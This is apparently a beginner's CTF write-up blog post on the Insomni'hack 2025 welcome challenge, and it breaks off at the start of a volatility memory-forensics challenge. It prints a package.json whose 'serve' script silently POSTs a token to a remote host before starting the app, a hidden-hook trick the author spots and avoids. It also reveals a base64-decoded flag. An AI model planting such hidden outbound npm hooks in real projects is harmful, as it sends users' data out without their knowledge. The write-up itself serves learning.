Original post The Insomni'hack 2025 CTF is a CTF hosted during the Insomni'hack conference in Lausanne, Switzerland. You had to register yourself so that you can attend to the on-site CTF. As a beginner in CTFs I decided to mostly take the easy challenges. The CTF was from March 14 (5pm UTC) to March 15 (4am UTC) 2025. Compared to last year I was able to solve less challenges, I missed the opportunity to solve two challenges due to my lack of concentration at 2am I mostly took part to the CTF because I was there, I know my level in CTFs is not that good as I lack of practice.. Looking back at it, I managed to only solve the easy challenges with tow of them the next day due to being a bit tired (I guess?). It makes me definitely want to improve, hence why I will try to get more into the CTFs - maybe Space Heroes will run a CTF this year...? Welcome To Insomni'hack This challenge was pretty straightforward. There was a repository to clone and we were supposed to run the npm run serve command after cloning it. Considering the welcome challenge of last year, I did not wanted to run that npm run command, as I knew it would likely do some funny stuff. Looking at the package.json file, this confirmed by supposition: { "name": "insomnihack-grid", "version": "1.0.0", "description": "Interactive grid game for Insomnihack", "main": "index.js", "scripts": { "serve": "wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{\"tata\":\"shame_W3XeaSn$QMEcvgu6!!\"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir=\"src\" && lite-server --baseDir=\"src\"", "build": "mkdir -p dist && cp -r src/* dist/" }, "keywords": ["insomnihack", "grid", "game"], "author": "Your Name", "license": "MIT", "devDependencies": { "lite-server": "^2.6.1" } } As it can be seen, it would execute the following command wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{"tata":"shame_W3XeaSn$QMEcvgu6!!"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir="src" && lite-server --baseDir="src" To be fair I did not see the shame_W3XeaSn$QMEcvgu6!! JSON data at the beginning, so I've completely skipped it and moved to the src/script.js file that was available. There I cleaned up the file to only focus on more relevant data, again I did not search for flag in the file. The resulting cleaned up script flag resulted in the following: // Grid Configuration // [REMOVED] function calculateGridDimensions() { // [REMOVED] } // Progress Tracking // [REMOVED] function createGridCell() { // [REMOVED] } function handleGridClick() { // [REMOVED] } function updateProgress(numberIndex) { // [REMOVED] } function updateTotalProgress() { // [REMOVED] } function showCompletion() { // Create completion overlay const overlay = document.createElement('div'); overlay.className = 'completion-overlay'; // Create completion container const completionContainer = document.createElement('div'); completionContainer.className = 'completion-logo'; // Create COMPLETED text const completedText = document.createElement('span'); completedText.className = 'completion-text'; completedText.textContent = 'COMPLETED'; const flagContainer = document.createElement('div'); flagContainer.className = 'completion-flag-container'; // Create flag const flag = document.createElement('div'); flag.className = 'completion-flag'; // Encoded flag const decode = (str) => { return decodeURIComponent(escape(atob(str))); }; const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ=="; flag.textContent = decode(encodedFlag); // Assemble the elements flagContainer.appendChild(flag); completionContainer.appendChild(completedText); completionContainer.appendChild(flagContainer); overlay.appendChild(completionContainer); document.body.appendChild(overlay); } function initializeGrid() { // [REMOVED] } // Event Listeners // [REMOVED] // Hover Effect // [REMOVED] // Resize handler with debounce // [REMOVED] // Initial grid creation // [REMOVED] In that resulting code, the following line can be seen: const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ=="; This looks like base64, decoding it will result in INS{W3lCoM3_T0_1ns0mnih4cK_2025!!}. v0l4til3 We were given a quite big 20250312.mem file. Looking at the name of the challenge and the size of the file, it was clear it was required to use volatility. I've ran the windows.info command against the file and got the following result: ~/CTF/INS25/v0l4til3

Mar 17, 2025 - 21:57
 0

Original post

The Insomni'hack 2025 CTF is a CTF hosted during the Insomni'hack conference in Lausanne, Switzerland. You had to register yourself so that you can attend to the on-site CTF. As a beginner in CTFs I decided to mostly take the easy challenges. The CTF was from March 14 (5pm UTC) to March 15 (4am UTC) 2025.

Compared to last year I was able to solve less challenges, I missed the opportunity to solve two challenges due to my lack of concentration at 2am

I mostly took part to the CTF because I was there, I know my level in CTFs is not that good as I lack of practice.. Looking back at it, I managed to only solve the easy challenges with tow of them the next day due to being a bit tired (I guess?). It makes me definitely want to improve, hence why I will try to get more into the CTFs - maybe Space Heroes will run a CTF this year...?

Welcome To Insomni'hack

This challenge was pretty straightforward. There was a repository to clone and we were supposed to run the npm run serve command after cloning it.

Considering the welcome challenge of last year, I did not wanted to run that npm run command, as I knew it would likely do some funny stuff. Looking at the package.json file, this confirmed by supposition:

{
  "name": "insomnihack-grid",
  "version": "1.0.0",
  "description": "Interactive grid game for Insomnihack",
  "main": "index.js",
  "scripts": {
    "serve": "wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{\"tata\":\"shame_W3XeaSn$QMEcvgu6!!\"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir=\"src\" && lite-server --baseDir=\"src\"",
    "build": "mkdir -p dist && cp -r src/* dist/"
  },
  "keywords": ["insomnihack", "grid", "game"],
  "author": "Your Name",
  "license": "MIT",
  "devDependencies": {
    "lite-server": "^2.6.1"
  }
}

As it can be seen, it would execute the following command

wget --quiet --method POST --header 'Content-Type: application/json' --body-data '{"tata":"shame_W3XeaSn$QMEcvgu6!!"}' -O - https://sound.insomnihack.ch:1337/shame && lite-server --baseDir="src" && lite-server --baseDir="src"

To be fair I did not see the shame_W3XeaSn$QMEcvgu6!! JSON data at the beginning, so I've completely skipped it and moved to the src/script.js file that was available. There I cleaned up the file to only focus on more relevant data, again I did not search for flag in the file.

The resulting cleaned up script flag resulted in the following:

// Grid Configuration
// [REMOVED]

function calculateGridDimensions() {
  // [REMOVED]
}

// Progress Tracking
// [REMOVED]

function createGridCell() {
  // [REMOVED]
}

function handleGridClick() {
  // [REMOVED]
}

function updateProgress(numberIndex) {
  // [REMOVED]
}

function updateTotalProgress() {
  // [REMOVED]
}

function showCompletion() {
    // Create completion overlay
    const overlay = document.createElement('div');
    overlay.className = 'completion-overlay';

    // Create completion container
    const completionContainer = document.createElement('div');
    completionContainer.className = 'completion-logo';

    // Create COMPLETED text
    const completedText = document.createElement('span');
    completedText.className = 'completion-text';
    completedText.textContent = 'COMPLETED';

     const flagContainer = document.createElement('div');
    flagContainer.className = 'completion-flag-container';

    // Create flag
    const flag = document.createElement('div');
    flag.className = 'completion-flag';

    // Encoded flag
    const decode = (str) => {
        return decodeURIComponent(escape(atob(str)));
    };

    const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ==";
    flag.textContent = decode(encodedFlag);

    // Assemble the elements
    flagContainer.appendChild(flag);
    completionContainer.appendChild(completedText);
    completionContainer.appendChild(flagContainer);
    overlay.appendChild(completionContainer);
    document.body.appendChild(overlay);
}


function initializeGrid() {
  // [REMOVED]
}

// Event Listeners
// [REMOVED]

// Hover Effect
// [REMOVED]

// Resize handler with debounce
// [REMOVED]

// Initial grid creation
// [REMOVED]

In that resulting code, the following line can be seen:

const encodedFlag = "SU5Te1czbENvTTNfVDBfMW5zMG1uaWg0Y0tfMjAyNSEhfQ==";

This looks like base64, decoding it will result in INS{W3lCoM3_T0_1ns0mnih4cK_2025!!}.

v0l4til3

We were given a quite big 20250312.mem file. Looking at the name of the challenge and the size of the file, it was clear it was required to use volatility.

I've ran the windows.info command against the file and got the following result:

~/CTF/INS25/v0l4til3